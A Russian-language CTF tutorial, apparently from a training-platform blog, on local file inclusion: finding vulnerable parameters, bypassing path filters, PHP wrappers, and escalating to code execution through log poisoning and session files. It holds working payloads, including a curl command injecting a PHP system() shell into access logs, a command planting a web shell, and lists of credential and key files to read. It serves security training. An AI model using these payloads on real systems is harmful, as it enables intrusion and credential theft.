
Восемь из десяти веб-заданий CTF, которые мне попадались за последний год на HackTheBox и PicoCTF, начинались с одного и того же — параметр в URL принимает имя файла, сервер подключает его без проверки, через три запроса в Burp Repeater читается /etc/passwd. Разница между «решил за пять минут» и «застрял на два часа» определяется одним навыком: определить тип фильтра и подобрать правильный bypass. Дальше — конкретная методика: от обнаружения path traversal уязвимости до полноценного RCE через log poisoning, с разбором каждого payload и объяснением, почему он работает.
LFI уязвимость в CTF — не изолированная техника, а звено в цепочке, которая ложится на конкретные тактики MITRE ATT&CK. Понимание этой цепочки задаёт порядок действий при решении задачи и не даёт тратить время на перебор payloads вслепую. Подробнее — в нашем материале про пентест веб-приложений.
Фаза 1 — Initial Access. Находите уязвимый параметр в веб-приложении, через который сервер лезет в файловую систему. Это Exploit Public-Facing Application (T1190). Формы скачивания отчётов, просмотр шаблонов, загрузка картинок — всё, где значение параметра попадает в файловую операцию на стороне сервера.
Фаза 2 — Discovery. Через path traversal прощупываете структуру файловой системы: подставляете пути к известным файлам, проверяете глубину от webroot до корня. Это File and Directory Discovery (T1083). На этом шаге проясняется ОС, расположение приложения и доступные директории.
Фаза 3 — Credential Access. Вытаскиваете конфиденциальные файлы: /etc/passwd для списка пользователей (T1003.008), .env или config.php с паролями от БД и API-ключами, SSH-ключи из /home/user/.ssh/id_rsa — Credentials In Files (T1552.001). В CTF-задачах на этом шаге иногда и лежит флаг.
Фаза 4 — Collection. Собираете данные: исходный код приложения, конфиги, содержимое /proc/self/environ с переменными окружения — Data from Local System (T1005). Тут расположен флаг в задачах начального уровня.
Фаза 5 — Execution. Если нужен RCE, раскручиваете включение локальных файлов до выполнения кода через log poisoning, session injection или PHP wrappers — Unix Shell (T1059.004). Финал для задач средней и высокой сложности.
С точки зрения классификации, корневая причина — CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program), а по OWASP это попадает одновременно под A03:2021 Injection и A05:2021 Security Misconfiguration. В большинстве CTF web заданий флаг лежит на фазе 4 (прямое чтение файла сервера) или на фазе 5 (нужна команда для извлечения).
Прежде чем переходить к практике — убедитесь, что рабочее окружение готово.
ОС: Kali Linux 2024.x или любой Linux-дистрибутив. Минимум 4 ГБ RAM для комфортной работы Burp Suite и браузера одновременно; 8 ГБ — если параллельно поднимаете Docker с уязвимым приложением.
Инструменты: Burp Suite Community или Pro — перехват и модификация HTTP-запросов, все запросы проксируются через Burp для анализа параметров. curl — быстрые проверки из терминала без переключения на GUI. ffuf — фаззинг параметров и путей с вордлистами из SecLists. Утилита base64 — декодирование ответов при использовании php://filter.
Целевое окружение: для отработки подойдёт DVWA в Docker или любая CTF-платформа с веб-заданиями. На HTB и TryHackMe — десятки машин с LFI-векторами разного уровня сложности.
Сетевые условия: доступ к целевому серверу по HTTP/HTTPS. Для локальных лабораторий offline-режим допустим.
Первое действие при решении веб-задачи — найти параметр, значение которого сервер использует для обращения к файловой системе.
По данным OWASP, наиболее частые имена таких параметров: page, file, path, template, include, doc, dir, folder, style, pdf, conf. В CTF авторы маскируют имя — lang, module, view, section — но суть та же: значение попадает в include(), require(), file_get_contents() или аналогичную функцию включения локальных файлов PHP.
Не ограничивайтесь GET-параметрами. Path traversal уязвимость прячется глубже:
POST /api/export с полем {"filename": "report.csv"}. В современных CTF path traversal в JSON встречается чаще, чем в query string — авторы задач ориентируются на реальные паттерны уязвимых приложений.TEMPLATE) и передаёт его в функцию include. Подстановка Cookie: TEMPLATE=../../../etc/passwd — и системный файл прочитан.X-Template, X-File-Path в задачах повышенной сложности. Без прокси такие параметры не видны в URL — нужен анализ трафика./static/css/../../etc/passwd. Этот вектор легко пропустить, если не проксировать трафик.Методика поиска с Burp Suite: проксируйте весь трафик, прокликайте каждую функцию приложения. В Burp HTTP History отфильтруйте запросы, где значение параметра содержит расширение файла (.php, .html, .pdf, .log) или выглядит как путь. Каждый такой параметр — кандидат на тестирование LFI.
Для автоматизации — ffuf с вордлистом параметров из SecLists (Discovery/Web-Content/burp-parameter-names.txt): фаззинг в формате ffuf -u "http://target/index.php?FUZZ=../../../etc/passwd" -w burp-parameter-names.txt -fs <размер_стандартного_ответа> покажет ответы с отличающимся размером — значит, параметр обрабатывается.
Подтверждение уязвимости. Обнаружили параметр ?page=about.html? Замените значение на ../../../etc/passwd. Строки вида root:x:0:0:root:/root:/bin/bash в ответе — path traversal подтверждён, чтение файлов сервера через LFI работает.
Три уровня ../ не сработали — увеличивайте: ../../../../etc/passwd, ../../../../../etc/passwd и далее. Типичная глубина от webroot до корня — 3–7 уровней. Стандартные webroot-пути: /var/www/html/, /var/www/app/, /srv/http/, /opt/app/public/. На каждый уровень вложенности — один ../.
Большинство CTF-задач средней сложности и выше ставят фильтры на пользовательский ввод. По данным PortSwigger, типичные защиты: удаление ../ из строки, проверка расширения файла, валидация начала пути. У каждого типа фильтра — своя техника обхода. Вот decision tree, который экономит время на соревновании:
| Поведение сервера | Вероятный фильтр | Техника обхода фильтров LFI | Payload |
|---|---|---|---|
../../../etc/passwd — пустой ответ, запрос не блокируется |
Нерекурсивное удаление ../ |
Вложенные последовательности | ....//....//....//etc/passwd |
Любой запрос с ../ возвращает 403 |
WAF или строгий фильтр | URL-кодирование | %2e%2e%2f%2e%2e%2fetc/passwd |
| Traversal не работает, абсолютный путь не проверяется | Фильтр только на ../ |
Абсолютный путь | ?file=/etc/passwd |
| Путь должен начинаться с конкретной директории | Проверка начала пути | Префикс + traversal | ?file=/var/www/images/../../../etc/passwd |
К имени файла дописывается .php |
Принудительное расширение | Null byte (PHP < 5.3.4) | ../../../etc/passwd%00 |
| Двойное кодирование работает, одинарное — нет | Многослойное декодирование | Двойное URL-кодирование | %252e%252e%252f |
Вложенные traversal-последовательности. Если сервер удаляет ../ из строки нерекурсивно (один проход), подставьте ....// — после удаления внутреннего ../ из ....// останется ../, и traversal отработает. Аналогично работает ....\/ на серверах, принимающих обратный слеш.
Работает если: фильтр делает однократную замену ../ на пустую строку. Не работает если: фильтр рекурсивный (повторяет удаление до полного исчезновения) или используется нормализация через realpath().
URL-кодирование. Когда WAF или фильтр блокирует запрос при любом упоминании ../ — используйте %2e%2e%2f вместо ../. При нескольких слоях декодирования (прокси, веб-сервер, приложение) работает двойное кодирование: %252e%252e%252f. Первый слой декодирует %25 в %, второй — %2e в . и %2f в /.
Работает если: между клиентом и приложением есть промежуточный слой, декодирующий URL до передачи дальше. Не работает если: на сервере единственный слой декодирования или фреймворк нормализует путь после декодирования — Django через os.path.realpath(), Express.js через path.resolve(), Spring Boot через Paths.get().normalize().
Абсолютный путь. Иногда фильтр ловит только ../, но пропускает абсолютные пути. Попробуйте ?file=/etc/passwd — без traversal-последовательностей вообще. На нескольких CTF я видел, как опытные игроки полчаса подбирали кодирование, а тупо абсолютный путь проходил с первого раза. Обидно, но поучительно.
Работает если: фильтр ищет только ../ и не проверяет начало пути на /. Не работает если: приложение добавляет фиксированный prefix к значению параметра (например, /var/www/html/ + ввод пользователя).
Null byte bypass LFI. Когда фильтр проверяет расширение файла и дописывает .php к пользовательскому вводу, на PHP < 5.3.4 работает ../../../etc/passwd%00.php. Символ %00 обрезает строку на уровне C-функций, и PHP откроет /etc/passwd, проигнорировав .php.
Работает если: PHP версии ниже 5.3.4 — это legacy-окружение. Не работает если: PHP 5.3.4 и выше (null byte injection закрыта). В CTF эта техника встречается только в задачах, явно эмулирующих legacy-стек.
Path truncation. На старых PHP (< 5.3) можно было использовать последовательность /./ для наращивания длины пути до предела (4096 байт), после которого окончание отбрасывается. В актуальных версиях PHP лимит увеличен и защита встроена — техника мертва.
Overlong UTF-8 (%c0%ae). Работает только на специфичных legacy-серверах. В современных фреймворках с нормализацией — бесполезна. В CTF встречается крайне редко, но знать про неё стоит, чтобы не тратить время на перебор.
PHP wrappers — главный козырь при эксплуатации LFI в CTF-задачах на PHP. Проблема такая: когда вы включаете PHP-файл через LFI, сервер его исполняет — в ответе результат работы скрипта, а не исходный код. А для решения задачи нужен именно код: в нём лежат пароли, логика валидации и часто сам флаг.
php://filter/convert.base64-encode решает эту проблему элегантно. Запрос ?file=php://filter/convert.base64-encode/resource=config.php заставляет PHP прочитать файл, закодировать в Base64 и вернуть как текст вместо исполнения. Полученную строку декодируете командой echo "<base64_строка>" | base64 -d — и читаете исходный код целиком. Приём настолько ходовой в CTF, что стоит запомнить payload наизусть.
Работает если: php://filter доступен через include() — а он доступен даже с allow_url_include = Off (этот параметр влияет на удалённые URL, а не на локальные wrappers). Не работает если: WAF блокирует строку php:// или фильтр удаляет :// из ввода. Обход: некоторые задачи принимают регистровый вариант PHP://filter или нестандартные фильтры типа convert.iconv.UTF-8.UTF-7.
php://input позволяет передать PHP-код в теле POST-запроса, который будет исполнен через include. Отправляете POST /index.php?file=php://input с телом <?php system('cat /flag.txt'); ?>.
Работает если: allow_url_include = On в php.ini. Не работает если: параметр выключен (по умолчанию в PHP 5.2+ он Off). В CTF авторы иногда намеренно включают его — проверяйте.
data:// wrapper — альтернатива php://input, всё в одном GET-запросе. Payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg== (Base64 от <?php system('id'); ?>). Требования те же — allow_url_include = On.
expect:// — прямое выполнение системной команды: ?file=expect://id. Работает только при установленном расширении expect для PHP — редкость даже в CTF, но если встретите — считайте, что вам повезло.
| Wrapper | Нужен allow_url_include | Результат | Частота в CTF |
|---|---|---|---|
| php://filter | Нет | Чтение исходников в Base64 | Высокая |
| php://input | Да | RCE через POST-тело | Средняя |
| data:// | Да | RCE через Base64 в URL | Средняя |
| expect:// | Да + расширение expect | Прямое выполнение команд | Редко |
Log poisoning — техника превращения LFI в Remote Code Execution через внедрение PHP-кода в файлы логов сервера с последующим включением этих логов через уязвимый параметр. Это основной путь LFI to RCE, когда allow_url_include выключен и PHP wrappers вроде php://input недоступны.
Работает если: LFI подтверждена, файлы логов доступны для чтения, приложение на PHP, логи пишутся на диск, процесс веб-сервера имеет права на чтение log-файлов. Не работает если: контейнерный деплой Docker (по умолчанию логи уходят в stdout/stderr, а не на диск), read-only файловая система, AppArmor/SELinux ограничивает доступ к /var/log/.
Шаг 1 — проверьте доступность логов. Попробуйте прочитать access-лог Apache через LFI: ?file=../../../var/log/apache2/access.log. Если в ответе видите строки с HTTP-запросами — путь к log poisoning открыт. Не нашли? Альтернативные пути: /var/log/httpd/access_log (CentOS/RHEL), /var/log/nginx/access.log, /var/log/auth.log.
Шаг 2 — инъекция PHP-кода через User-Agent. Apache записывает значение заголовка User-Agent в access.log при каждом запросе. Отправьте запрос с PHP-кодом в этом заголовке:
curl -A "<?php system(\$_GET['cmd']); ?>" http://target/index.php
Символ $ экранирован обратным слешем (\$), чтобы bash не интерпретировал его как переменную окружения. После выполнения в access.log появится строка с конструкцией <?php system($_GET['cmd']); ?>.
Шаг 3 — включение лога через LFI. Обратитесь к файлу лога через уязвимый параметр и передайте команду: ?file=../../../var/log/apache2/access.log&cmd=cat /flag.txt. PHP-движок, обрабатывая включённый файл, встретит <?php system($_GET['cmd']); ?> и выполнит как код. Результат cat /flag.txt окажется в HTTP-ответе — среди строк лога.
Что происходит внутри: include() интерпретирует содержимое файла как PHP-код. Когда в access.log встречается строка с PHP-тегами, движок выполняет её как часть скрипта. Результат команды встраивается в ответ между обычными строками лога. Выглядит грязно, но работает.
Шаг 4 — получение полноценного шелла. Вместо одноразовых команд закиньте веб-шелл: &cmd=echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php. После этого обращайтесь к http://target/shell.php?c=whoami напрямую, без LFI-цепочки.
Если веб-логи недоступны, но через LFI читается /var/log/auth.log, используйте SSH. Подключитесь к серверу с «именем пользователя», содержащим PHP-код: ssh '<?php system($_GET["cmd"]); ?>'@target. SSH-сервер запишет попытку авторизации в auth.log, включая «имя пользователя» с payload. После этого включите auth.log через LFI аналогично шагу 3.
Работает если: SSH-сервер доступен, auth.log читается через LFI. Не работает если: SSH использует journal (systemd) вместо файлового лога, или лог-файл доступен только root.
Когда ни веб-логи, ни auth.log недоступны, но PHP хранит сессии в файлах — есть ещё один путь. PHP по умолчанию сохраняет данные сессий в /var/lib/php/sessions/sess_<PHPSESSID>. Если приложение записывает пользовательский ввод в сессию (например, имя пользователя при логине), инъецируйте PHP-код через это поле, затем включите файл сессии через LFI: ?file=../../../var/lib/php/sessions/sess_<ваш_PHPSESSID>.
Работает если: PHP хранит сессии в файлах (session.save_handler = files), путь к файлам сессий стандартный, пользовательский ввод попадает в данные сессии без фильтрации. Не работает если: сессии хранятся в Redis/Memcached, путь нестандартный, данные сериализуются с экранированием.
После подтверждения LFI уязвимости переходите к файлам по приоритету. Порядок определяет скорость решения задачи.
Конфигурации приложения (флаг чаще всего здесь): config.php, .env, settings.py, application.yml — креды от БД, API-ключи, иногда сам флаг в виде переменной. Для WordPress-задач — wp-config.php с паролем БД и AUTH_KEY.
Системные файлы: /etc/passwd — список пользователей, подтверждение LFI (не требует root). /etc/shadow — хеши паролей (требует root, в CTF иногда доступен через misconfiguration). /proc/self/environ — переменные окружения текущего процесса, часто содержат секреты. /proc/self/cmdline — командная строка запуска процесса, раскрывает пути к конфигам.
SSH-ключи: /home/<user>/.ssh/id_rsa — приватный ключ для доступа. Имя пользователя берётся из /etc/passwd.
Логи для log poisoning: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/auth.log.
Исходный код (через php://filter): index.php, login.php, admin.php — хардкоженные пароли, SQL-запросы, логика проверки флага, маршрутизация.
LFI — вектор мощный, но с чёткими границами. Понимание этих границ экономит время и на соревновании, и в реальном пентесте.
| Защитный механизм | Что блокирует | Что по-прежнему работает |
|---|---|---|
| Docker stdout logging | Log poisoning, session injection | Path traversal, php://filter |
| realpath() / path.resolve() | Path traversal через ../ |
Абсолютные пути (если нет whitelist) |
| PHP >= 5.3.4 | Null byte %00 |
Вложенные ....//, URL-кодирование |
| WAF (ModSecurity) | Известные LFI-паттерны | Двойное кодирование, chain wrappers |
| open_basedir | Чтение вне указанных директорий | php://filter внутри basedir |
| chroot / AppArmor | Доступ к /etc, /var/log | Файлы внутри sandbox |
[Применимо: CTF-среды, legacy PHP-приложения, внешний пентест. В контейнерных деплоях с read-only файловой системой path traversal по-прежнему опасен для чтения исходного кода, но LFI to RCE через логи зачастую невозможен — Docker по умолчанию не пишет логи на диск.]
Для самостоятельной практики разверните DVWA в Docker:
docker run -d -p 8080:80 vulnerables/web-dvwa
После запуска откройте http://localhost:8080, авторизуйтесь (admin / password), перейдите в DVWA Security и установите уровень Low. В разделе File Inclusion — готовая точка входа для отработки всей цепочки: от базового path traversal до php://filter base64. На уровне Medium включаются фильтры — понадобятся вложенные последовательности. Для log poisoning проверьте доступность /var/log/apache2/access.log через LFI внутри контейнера.
?page=, ?file=, ?template=, а также JSON-поля и cookie../../../etc/passwd — проверьте базовый path traversal....//, %2e%2e%2f, абсолютный путь, двойное кодированиеconfig.php, .env, settings.pyphp://filter/convert.base64-encode/resource=<файл> для исходников PHP/var/log/apache2/access.log, /var/log/nginx/access.logcurl -A&cmd=cat /flag.txtКаждое задание на включение локальных файлов следует этому алгоритму. Разница — в типе фильтра и наборе доступных wrappers.
По моему опыту, большинство CTF-игроков застревает не на этапе эксплуатации LFI, а на этапе обнаружения уязвимого параметра. Все знают payload ../../../etc/passwd, но мало кто систематически фаззит параметры в JSON-телах, cookies и кастомных заголовках. На соревнованиях средней сложности авторы давно перестали прятать path traversal уязвимость в очевидных ?file= — вектор закопан в API-эндпоинты, которые большинство участников даже не проксирует через Burp.
Вторая типичная ошибка — зацикливание на одной технике bypass. Не раз видел, как опытные игроки полчаса подбирают кодирование для обхода WAF, когда простой абсолютный путь ?file=/etc/passwd проходит без единого фильтра. Decision tree из этой статьи — не академическое упражнение, а реальный порядок проверок, который стоит отработать до автоматизма.
И третье: log poisoning постепенно теряет актуальность в реальных инфраструктурах — контейнеризация убирает файловые логи из уравнения. Но в CTF он встречается постоянно, потому что организаторы разворачивают задания на классических серверах с Apache. Цепочка LFI to RCE через отравление логов — навык, который нарабатывается только практикой, и writeups дают лишь поверхностное представление. На WAPT эту цепочку проходят в течение двух модулей с лабами.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...